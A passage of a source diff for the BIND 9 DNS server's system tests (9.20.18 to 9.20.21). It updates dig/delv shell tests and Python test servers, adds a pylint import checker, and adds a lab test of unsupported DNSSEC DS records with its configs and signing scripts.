res=$? +server 10.53.0.6 ${PORT} add x.example.com 300 in a 1.2.3.4 send EOF - test $res -eq 1 || ret=1 - grep "invalid OPCODE in response to SOA query" nsupdate.out.test$n >/dev/null || ret=1 - if [ $ret -ne 0 ]; then echo_i "failed"; fi - status=$((status + ret)) - -fi +test $res -eq 1 || ret=1 +grep "invalid OPCODE in response to SOA query" nsupdate.out.test$n >/dev/null || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) if [ -x "$DIG" ]; then - - if [ $checkupdate -eq 1 ]; then - - n=$((n + 1)) - echo_i "check dig handles UPDATE response ($n)" - ret=0 - dig_with_opts @10.53.0.7 +tries=1 +timeout=1 cname foo.bar >dig.out.test$n 2>&1 && ret=1 - grep "Opcode mismatch" dig.out.test$n >/dev/null || ret=1 - if [ $ret -ne 0 ]; then echo_i "failed"; fi - status=$((status + ret)) - else - echo_i "Skipped UPDATE handling test" - fi + n=$((n + 1)) + echo_i "check dig handles UPDATE response ($n)" + ret=0 + dig_with_opts @10.53.0.6 +tries=1 +timeout=1 cname foo.bar >dig.out.test$n 2>&1 && ret=1 + grep "Opcode mismatch" dig.out.test$n >/dev/null || ret=1 + if [ $ret -ne 0 ]; then echo_i "failed"; fi + status=$((status + ret)) n=$((n + 1)) echo_i "checking dig short form works ($n)" @@ -382,8 +356,6 @@ n=$((n + 1)) echo_i "checking dig preserves origin on TCP retries ($n)" ret=0 - # Ask ans4 to still accept TCP connections, but not respond to queries - echo "//" | sendcmd 10.53.0.4 dig_with_opts -d +tcp @10.53.0.4 +retry=1 +time=1 +domain=bar foo >dig.out.test$n 2>&1 && ret=1 test "$(grep -c "trying origin bar" dig.out.test$n)" -eq 2 || ret=1 grep "using root origin" /dev/null && ret=1 @@ -550,10 +522,8 @@ echo_i "checking dig +ednsopt=8:00000000 (family=0, source=0, scope=0) ($n)" ret=0 dig_with_opts +tcp @10.53.0.2 +ednsopt=8:00000000 A a.example >dig.out.test$n 2>&1 || ret=1 - grep "status: NOERROR" /dev/null || ret=1 - grep "CLIENT-SUBNET: 0/0/0" /dev/null || ret=1 - grep "10.0.0.1" /dev/null || ret=1 - check_ttl_range dig.out.test$n "A" 300 || ret=1 + grep "status: FORMERR" /dev/null || ret=1 + grep "CLIENT-SUBNET" /dev/null && ret=1 if [ $ret -ne 0 ]; then echo_i "failed"; fi status=$((status + ret)) @@ -1042,7 +1012,7 @@ n=$((n + 1)) echo_i "checking exit code for a retry upon TCP EOF (immediate -> immediate) ($n)" ret=0 - echo "no_response no_response" | sendcmd 10.53.0.5 + set_response_sequence no-response $n dig_with_opts @10.53.0.5 example AXFR +tries=2 >dig.out.test$n 2>&1 && ret=1 # Sanity check: ensure ans5 behaves as expected. [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 2 ] || ret=1 @@ -1052,7 +1022,7 @@ n=$((n + 1)) echo_i "checking exit code for a retry upon TCP EOF (partial AXFR -> partial AXFR) ($n)" ret=0 - echo "partial_axfr partial_axfr" | sendcmd 10.53.0.5 + set_response_sequence partial-axfr $n dig_with_opts @10.53.0.5 example AXFR +tries=2 >dig.out.test$n 2>&1 && ret=1 # Sanity check: ensure ans5 behaves as expected. [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 2 ] || ret=1 @@ -1062,7 +1032,7 @@ n=$((n + 1)) echo_i "checking exit code for a retry upon TCP EOF (immediate -> partial AXFR) ($n)" ret=0 - echo "no_response partial_axfr" | sendcmd 10.53.0.5 + set_response_sequence no-response.partial-axfr $n dig_with_opts @10.53.0.5 example AXFR +tries=2 >dig.out.test$n 2>&1 && ret=1 # Sanity check: ensure ans5 behaves as expected. [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 2 ] || ret=1 @@ -1072,7 +1042,7 @@ n=$((n + 1)) echo_i "checking exit code for a retry upon TCP EOF (partial AXFR -> immediate) ($n)" ret=0 - echo "partial_axfr no_response" | sendcmd 10.53.0.5 + set_response_sequence partial-axfr.no-response $n dig_with_opts @10.53.0.5 example AXFR +tries=2 >dig.out.test$n 2>&1 && ret=1 # Sanity check: ensure ans5 behaves as expected. [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 2 ] || ret=1 @@ -1082,7 +1052,7 @@ n=$((n + 1)) echo_i "checking exit code for a retry upon TCP EOF (immediate -> complete AXFR) ($n)" ret=0 - echo "no_response complete_axfr" | sendcmd 10.53.0.5 + set_response_sequence no-response.complete-axfr $n dig_with_opts @10.53.0.5 example AXFR +tries=2 >dig.out.test$n 2>&1 || ret=1 # Sanity check: ensure ans5 behaves as expected. [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 1 ] || ret=1 @@ -1092,7 +1062,7 @@ n=$((n + 1)) echo_i "checking exit code for a retry upon TCP EOF (partial AXFR -> complete AXFR) ($n)" ret=0 - echo "partial_axfr complete_axfr" | sendcmd 10.53.0.5 + set_response_sequence partial-axfr.complete-axfr $n dig_with_opts @10.53.0.5 example AXFR +tries=2 >dig.out.test$n 2>&1 || ret=1 # Sanity check: ensure ans5 behaves as expected. [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 1 ] || ret=1 @@ -1102,7 +1072,7 @@ n=$((n + 1)) echo_i "checking +tries=1 won't retry twice upon TCP EOF ($n)" ret=0 - echo "no_response no_response" | sendcmd 10.53.0.5 + set_response_sequence no-response $n dig_with_opts @10.53.0.5 example AXFR +tries=1 >dig.out.test$n 2>&1 && ret=1 # Sanity check: ensure ans5 behaves as expected. [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 1 ] || ret=1 @@ -1236,20 +1206,16 @@ # See [GL #3020] for more information n=$((n + 1)) echo_i "check that dig handles UDP timeout followed by a SERVFAIL correctly ($n)" - # Ask ans8 to be in "unstable" mode (switching between "silent" and "servfail" modes) - echo "unstable" | sendcmd 10.53.0.8 ret=0 - dig_with_opts +timeout=1 +nofail @10.53.0.8 a.example >dig.out.test$n 2>&1 || ret=1 + dig_with_opts +timeout=1 +nofail @10.53.0.7 silent-then-servfail.example >dig.out.test$n 2>&1 || ret=1 grep -F "status: SERVFAIL" dig.out.test$n >/dev/null || ret=1 if [ $ret -ne 0 ]; then echo_i "failed"; fi status=$((status + ret)) n=$((n + 1)) echo_i "check that dig handles TCP timeout followed by a SERVFAIL correctly ($n)" - # Ask ans8 to be in "unstable" mode (switching between "silent" and "servfail" modes) - echo "unstable" | sendcmd 10.53.0.8 ret=0 - dig_with_opts +timeout=1 +nofail +tcp @10.53.0.8 a.example >dig.out.test$n 2>&1 || ret=1 + dig_with_opts +timeout=1 +nofail +tcp @10.53.0.7 silent-then-servfail.example >dig.out.test$n 2>&1 || ret=1 grep -F "status: SERVFAIL" dig.out.test$n >/dev/null || ret=1 if [ $ret -ne 0 ]; then echo_i "failed"; fi status=$((status + ret)) @@ -1282,10 +1248,8 @@ n=$((n + 1)) echo_i "check that dig tries the next server after a TCP socket read error ($n)" - # Ask ans8 to be in "close" mode, which closes the connection after accepting it - echo "close" | sendcmd 10.53.0.8 ret=0 - dig_with_opts +tcp @10.53.0.8 @10.53.0.3 a.example >dig.out.test$n 2>&1 || ret=1 + dig_with_opts +tcp @10.53.0.7 @10.53.0.3 close.example >dig.out.test$n 2>&1 || ret=1 grep -F "status: NOERROR" dig.out.test$n >/dev/null || ret=1 if [ $ret -ne 0 ]; then echo_i "failed"; fi status=$((status + ret)) @@ -1307,20 +1271,16 @@ n=$((n + 1)) echo_i "check that dig tries the next server after UDP socket read timeouts ($n)" - # Ask ans8 to be in "silent" mode - echo "silent" | sendcmd 10.53.0.8 ret=0 - dig_with_opts +timeout=1 @10.53.0.8 @10.53.0.3 a.example >dig.out.test$n 2>&1 || ret=1 + dig_with_opts +timeout=1 @10.53.0.7 @10.53.0.3 silent.example >dig.out.test$n 2>&1 || ret=1 grep -F "status: NOERROR" dig.out.test$n >/dev/null || ret=1 if [ $ret -ne 0 ]; then echo_i "failed"; fi status=$((status + ret)) n=$((n + 1)) echo_i "check that dig tries the next server after TCP socket read timeouts ($n)" - # Ask ans8 to be in "silent" mode - echo "silent" | sendcmd 10.53.0.8 ret=0 - dig_with_opts +timeout=1 +tcp @10.53.0.8 @10.53.0.3 a.example >dig.out.test$n 2>&1 || ret=1 + dig_with_opts +timeout=1 +tcp @10.53.0.7 @10.53.0.3 silent.example >dig.out.test$n 2>&1 || ret=1 grep -F "status: NOERROR" dig.out.test$n >/dev/null || ret=1 if [ $ret -ne 0 ]; then echo_i "failed"; fi status=$((status + ret)) @@ -1329,7 +1289,7 @@ n=$((n + 1)) echo_i "check that dig correctly refuses to use a server with a IPv4 mapped IPv6 address after failing with a regular IP address ($n)" ret=0 - dig_with_opts @10.53.0.8 @::ffff:10.53.0.8 a.example >dig.out.test$n 2>&1 || ret=1 + dig_with_opts @10.53.0.7 @::ffff:10.53.0.7 silent.example >dig.out.test$n 2>&1 || ret=1 grep -F ";; Skipping mapped address" dig.out.test$n >/dev/null || ret=1 grep -F ";; No acceptable nameservers" dig.out.test$n >/dev/null || ret=1 if [ $ret -ne 0 ]; then echo_i "failed"; fi diff -Nru bind9-9.20.18/bin/tests/system/digdelv/tests_sh_digdelv.py bind9-9.20.21/bin/tests/system/digdelv/tests_sh_digdelv.py --- bind9-9.20.18/bin/tests/system/digdelv/tests_sh_digdelv.py 2026-01-09 13:39:28.040971115 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/tests_sh_digdelv.py 2026-03-13 22:01:10.568881598 +0000 @@ -20,7 +20,6 @@ "nsupdate.out.*", "yamlget.out.*", "ans*/ans.run", - "ans*/query.log", "ns*/anchor.*", "ns*/dsset-*", "ns*/keydata", diff -Nru bind9-9.20.18/bin/tests/system/digdelv/yamlget.py bind9-9.20.21/bin/tests/system/digdelv/yamlget.py --- bind9-9.20.18/bin/tests/system/digdelv/yamlget.py 2026-01-09 13:39:28.040971115 +0000 +++ bind9-9.20.21/bin/tests/system/digdelv/yamlget.py 2026-03-13 22:01:10.569881566 +0000 @@ -13,8 +13,7 @@ try: import yaml -# pylint: disable=bare-except -except: +except ImportError: print("No python yaml module, skipping") sys.exit(1) diff -Nru bind9-9.20.18/bin/tests/system/dispatch/ans3/ans.py bind9-9.20.21/bin/tests/system/dispatch/ans3/ans.py --- bind9-9.20.18/bin/tests/system/dispatch/ans3/ans.py 2026-01-09 13:39:28.040971115 +0000 +++ bind9-9.20.21/bin/tests/system/dispatch/ans3/ans.py 2026-03-13 22:01:10.569881566 +0000 @@ -9,7 +9,7 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.flags import dns.rcode diff -Nru bind9-9.20.18/bin/tests/system/dispatch/tests_connreset.py bind9-9.20.21/bin/tests/system/dispatch/tests_connreset.py --- bind9-9.20.18/bin/tests/system/dispatch/tests_connreset.py 2026-01-09 13:39:28.040971115 +0000 +++ bind9-9.20.21/bin/tests/system/dispatch/tests_connreset.py 2026-03-13 22:01:10.569881566 +0000 @@ -11,13 +11,10 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +import dns.message import pytest -import isctest - -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") -import dns.message +import isctest pytestmark = pytest.mark.extra_artifacts( [ diff -Nru bind9-9.20.18/bin/tests/system/dns_import_checker.py bind9-9.20.21/bin/tests/system/dns_import_checker.py --- bind9-9.20.18/bin/tests/system/dns_import_checker.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dns_import_checker.py 2026-03-13 22:01:10.574881406 +0000 @@ -0,0 +1,177 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from pylint.checkers import BaseChecker + +import astroid + + +class DnsExplicitImportsChecker(BaseChecker): + name = "dns-explicit-imports" + + msgs = { + "W9001": ( + "Bare 'import dns' is discouraged; import required submodules explicitly", + "dns-bare-import", + "Emitted when the package root 'dns' is imported directly.", + ), + "W9002": ( + "Missing explicit import for '%s' (add `import %s`)", + "dns-missing-submodule-import", + "Emitted when code references dns.<...> but the corresponding module prefix " + "was not imported with `import dns.<...>`.", + ), + "W9003": ( + "Unused explicit import for '%s' (remove `import %s`)", + "dns-unused-submodule-import", + "Emitted when a dns.<...> module is imported explicitly but not used.", + ), + } + + def __init__(self, linter=None): + super().__init__(linter) + self._imported = {} + self._imported_aliases = set() + self._required = {} + + def visit_module(self, node): # pylint: disable=unused-argument + self._imported = {} + self._imported_aliases = set() + self._required = {} + + def leave_module(self, node): # pylint: disable=unused-argument + for mod, use_node in sorted(self._required.items()): + if mod in self._imported: + continue + prefix = mod + "." + if any(name.startswith(prefix) for name in self._imported): + continue + self.add_message( + "dns-missing-submodule-import", + node=use_node, + args=(mod, mod), + ) + for mod, import_node in sorted(self._imported.items()): + if mod in self._imported_aliases: + continue + if any( + name == mod or name.startswith(mod + ".") for name in self._required + ): + continue + self.add_message( + "dns-unused-submodule-import", + node=import_node, + args=(mod, mod), + ) + + def visit_import(self, node): + for name, _asname in node.names: + if name == "dns": + self.add_message("dns-bare-import", node=node) + continue + if name.startswith("dns."): + self._imported.setdefault(name, node) + if _asname: + self._imported_aliases.add(name) + + def visit_importfrom(self, node): # pylint: disable=unused-argument + return + + def visit_attribute(self, node): + parent = node.parent + # For `dns.a.b.c`, astroid visits intermediate attributes too. + # Process only the rightmost node to avoid duplicate bookkeeping. + if isinstance(parent, astroid.nodes.Attribute) and parent.expr is node: + return + + mod = self._dns_module_for_attribute(node) + if mod is None: + return + + self._required.setdefault(mod, node) + + @staticmethod + def _dns_attribute_nodes(node): + """ + Return the chain of Attribute nodes as a list. + + For `dns.a.b.c`, return the list of Attribute nodes for `dns.a`, `dns.a.b`, and `dns.a.b.c`. + + Return None if the chain is not rooted in `dns`. + """ + + if not isinstance(node, astroid.nodes.Attribute): + return None + + nodes = [] + expr = node + while isinstance(expr, astroid.nodes.Attribute): + nodes.append(expr) + expr = expr.expr + + if not isinstance(expr, astroid.nodes.Name) or expr.name != "dns": + return None + + return list(reversed(nodes)) + + @classmethod + def _dns_module_for_attribute(cls, node): + """ + For dns.a.b.c, return the longest dns.a.b... prefix that is likely to be a module, + or None if the chain is not rooted in dns. + """ + last_module = None + chain_nodes = cls._dns_attribute_nodes(node) + if chain_nodes is None: + return None + + full = "dns." + ".".join(part.attrname for part in chain_nodes) + # Prefer inferred module names to avoid treating classes/constants as + # modules (e.g. `dns.name.NameRelation` should resolve to `dns.name`). + for chain_node in chain_nodes: + inferred = cls._infer_module_name(chain_node) + if inferred is not None and full.startswith(inferred): + last_module = inferred + if last_module is not None: + return last_module + + # Fallback when inference is unavailable: assume the terminal segment + # is not a module symbol and require the parent path. + parts = full.split(".") + if len(parts) <= 2: + return full + return ".".join(parts[:-1]) + + @staticmethod + def _infer_module_name(node): + """Infer `dns.` for a node; return None if inference is unsure.""" + try: + for inferred in node.infer(): + if inferred is astroid.util.Uninferable: + continue + # Inference can return either a Module node directly or another + # symbol rooted in a module; normalize both to module name. + module = ( + inferred + if isinstance(inferred, astroid.nodes.Module) + else inferred.root() + ) + name = module.name + if name.startswith("dns."): + return name + # Inference can fail for dynamic/partial code; fall back gracefully. + except astroid.AstroidError: + pass + return None + + +def register(linter): + linter.register_checker(DnsExplicitImportsChecker(linter)) diff -Nru bind9-9.20.18/bin/tests/system/dnssec/ans10/ans.py bind9-9.20.21/bin/tests/system/dnssec/ans10/ans.py --- bind9-9.20.18/bin/tests/system/dnssec/ans10/ans.py 2026-01-09 13:39:28.046971272 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec/ans10/ans.py 2026-03-13 22:01:10.576881342 +0000 @@ -9,7 +9,7 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.rdatatype import dns.rrset @@ -57,7 +57,7 @@ def main() -> None: server = AsyncDnsServer() - server.install_response_handlers([AddRrsigToAHandler(), AddNsecToTxtHandler()]) + server.install_response_handlers(AddNsecToTxtHandler(), AddRrsigToAHandler()) server.run() diff -Nru bind9-9.20.18/bin/tests/system/dnssec/tests_sh_dnssec.py bind9-9.20.21/bin/tests/system/dnssec/tests_sh_dnssec.py --- bind9-9.20.18/bin/tests/system/dnssec/tests_sh_dnssec.py 2026-01-09 13:39:28.058971587 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec/tests_sh_dnssec.py 2026-03-13 22:01:10.589880926 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ ".hypothesis/examples/*", diff -Nru bind9-9.20.18/bin/tests/system/dnssec-malformed-dnskey/tests_malformed_dnskey.py bind9-9.20.21/bin/tests/system/dnssec-malformed-dnskey/tests_malformed_dnskey.py --- bind9-9.20.18/bin/tests/system/dnssec-malformed-dnskey/tests_malformed_dnskey.py 2026-01-09 13:39:28.046971272 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-malformed-dnskey/tests_malformed_dnskey.py 2026-03-13 22:01:10.574881406 +0000 @@ -9,22 +9,21 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import base64 from re import compile as Re -import pytest - -pytest.importorskip("cryptography") -pytest.importorskip( - "dns", minversion="2.7.0" -) # dns.dnssec.sign_zone(deterministic=...) needed +import base64 +import os from cryptography.hazmat.primitives.asymmetric import ec +from dns.rdtypes.dnskeybase import Flag -import dns import dns.dnssec +import dns.name +import dns.rdataclass +import dns.rdatatype +import dns.rdtypes.ANY.RRSIG import dns.zone -from dns.rdtypes.dnskeybase import Flag +import pytest import isctest @@ -117,7 +116,11 @@ msg = isctest.query.create("malformed-dnskey.example", "A") openssl_vers = ns3.log.grep(log_openssl_version) - if openssl_vers and int(openssl_vers[0].group(1)) >= 3: + if ( + openssl_vers + and int(openssl_vers[0].group(1)) >= 3 + and os.getenv("FEATURE_QUERYTRACE") == "1" + ): # extra check for OpenSSL 3.0.0+ with ns3.watch_log_from_here() as watcher: res = isctest.query.tcp(msg, "10.53.0.3") @@ -162,7 +165,11 @@ pytest.skip("valid RRSIG listed first in response, re-run test") openssl_vers = ns3.log.grep(log_openssl_version) - if openssl_vers and int(openssl_vers[0].group(1)) >= 3: + if ( + openssl_vers + and int(openssl_vers[0].group(1)) >= 3 + and os.getenv("FEATURE_QUERYTRACE") == "1" + ): # extra check for OpenSSL 3.0.0+ with ns3.watch_log_from_here() as watcher: res = isctest.query.tcp(msg, "10.53.0.3") diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns1/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns1/named.conf.j2 2026-03-13 22:01:10.575881374 +0000 @@ -0,0 +1,38 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// NS1 + +options { + query-source address 10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.1; }; + listen-on-v6 { none; }; + minimal-any no; + minimal-responses no; + recursion no; + notify yes; + dnssec-validation yes; + /* test that we can turn off trust-anchor-telemetry */ + trust-anchor-telemetry no; +}; + +zone "." { + type primary; + file "zones/root.db.signed"; +}; + +include "trusted.conf"; diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns1/sign.sh bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns1/sign.sh --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns1/sign.sh 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns1/sign.sh 2026-03-13 22:01:10.575881374 +0000 @@ -0,0 +1,37 @@ +#!/bin/sh -e + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# shellcheck source=conf.sh +. ../../conf.sh + +set -e + +echo_i "ns1/sign.sh" + +zone=. + +mkdir -p keys +ksk=$("$KEYGEN" -K keys -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -f KSK "${zone}") +zsk=$("$KEYGEN" -K keys -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "${zone}") + +cat "zones/root.db.in" "keys/$ksk.key" "keys/$zsk.key" ../ns2/dsset-example. >"zones/root.db" + +"$SIGNER" -S -K "keys" \ + -o . \ + -f "zones/root.db.signed" \ + "zones/root.db" >/dev/null 2>&1 + +keyfile_to_static_ds "keys/$ksk" >trusted.conf +cp trusted.conf ../ns2/trusted.conf +cp trusted.conf ../ns3/trusted.conf +cp trusted.conf ../ns4/trusted.conf diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns1/zones/root.db.in bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns1/zones/root.db.in --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns1/zones/root.db.in 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns1/zones/root.db.in 2026-03-13 22:01:10.575881374 +0000 @@ -0,0 +1,16 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +. 300 IN SOA gson.nominum.com. a.root.servers.nil. 2000042100 600 600 1200 600 +ns2.example. 300 IN A 10.53.0.2 +example. 300 IN NS ns2.example. +a.root-servers.nil. 300 IN A 10.53.0.1 +. 300 IN NS a.root-servers.nil. diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns2/named.conf.j2 bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns2/named.conf.j2 --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns2/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns2/named.conf.j2 2026-03-13 22:01:10.575881374 +0000 @@ -0,0 +1,47 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// NS2 + +options { + query-source address 10.53.0.2; + notify-source 10.53.0.2; + transfer-source 10.53.0.2; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.2; }; + listen-on-v6 { none; }; + recursion no; + dnssec-validation yes; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "." { + type hint; + file "../../_common/root.hint"; +}; + +zone "example." { + type primary; + file "zones/example.db.signed"; +}; + +include "trusted.conf"; diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns2/sign.sh bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns2/sign.sh --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns2/sign.sh 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns2/sign.sh 2026-03-13 22:01:10.575881374 +0000 @@ -0,0 +1,35 @@ +#!/bin/sh -e + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# shellcheck source=conf.sh +. ../../conf.sh + +set -e + +echo_i "ns2/sign.sh" + +zone=example. + +mkdir -p keys +ksk=$("$KEYGEN" -K keys -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -f KSK "${zone}") +zsk=$("$KEYGEN" -K keys -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "${zone}") + +cat "zones/${zone}db.in" "keys/$ksk.key" "keys/$zsk.key" >"zones/${zone}db" + +<"../ns3/dsset-child.${zone}" sed -E "s/[[:space:]]+$DEFAULT_ALGORITHM_NUMBER[[:space:]]+/ 12 /" >>"zones/${zone}db" +<"../ns3/dsset-child.${zone}" sed -E "s/[[:space:]]+$DEFAULT_ALGORITHM_NUMBER[[:space:]]+2[[:space:]]+.*/ $DEFAULT_ALGORITHM_NUMBER 2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/" >>"zones/${zone}db" + +"$SIGNER" -S -K "keys" \ + -o "${zone}" \ + -f "zones/${zone}db.signed" \ + "zones/${zone}db" >/dev/null 2>&1 diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns2/zones/example.db.in bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns2/zones/example.db.in --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns2/zones/example.db.in 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns2/zones/example.db.in 2026-03-13 22:01:10.575881374 +0000 @@ -0,0 +1,16 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +example. 300 IN SOA ns1.example. admin.example. 2026021901 3600 900 86400 300 +ns1.example. 300 IN A 10.53.0.2 +ns1.child.example. 300 IN A 10.53.0.3 +child.example. 300 IN NS ns1.child.example. +example. 300 IN NS ns1.example. diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns3/named.conf.j2 bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns3/named.conf.j2 --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns3/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns3/named.conf.j2 2026-03-13 22:01:10.575881374 +0000 @@ -0,0 +1,47 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// NS3 + +options { + query-source address 10.53.0.3; + notify-source 10.53.0.3; + transfer-source 10.53.0.3; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.3; }; + listen-on-v6 { none; }; + recursion no; + dnssec-validation yes; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "." { + type hint; + file "../../_common/root.hint"; +}; + +zone "child.example." { + type primary; + file "zones/child.example.db.signed"; +}; + +include "trusted.conf"; diff -Nru bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns3/sign.sh bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns3/sign.sh --- bind9-9.20.18/bin/tests/system/dnssec-unsupported-ds/ns3/sign.sh 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/dnssec-unsupported-ds/ns3/sign.sh 2026-03-13 22:01:10.575881374 +0000 @@ -0,0 +1,32 @@ +#!/bin/sh -e + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# shellcheck source=conf.sh +. ../../conf.sh + +set -e + +echo_i "ns3/sign.sh" + +zone=child.example. + +mkdir -p keys 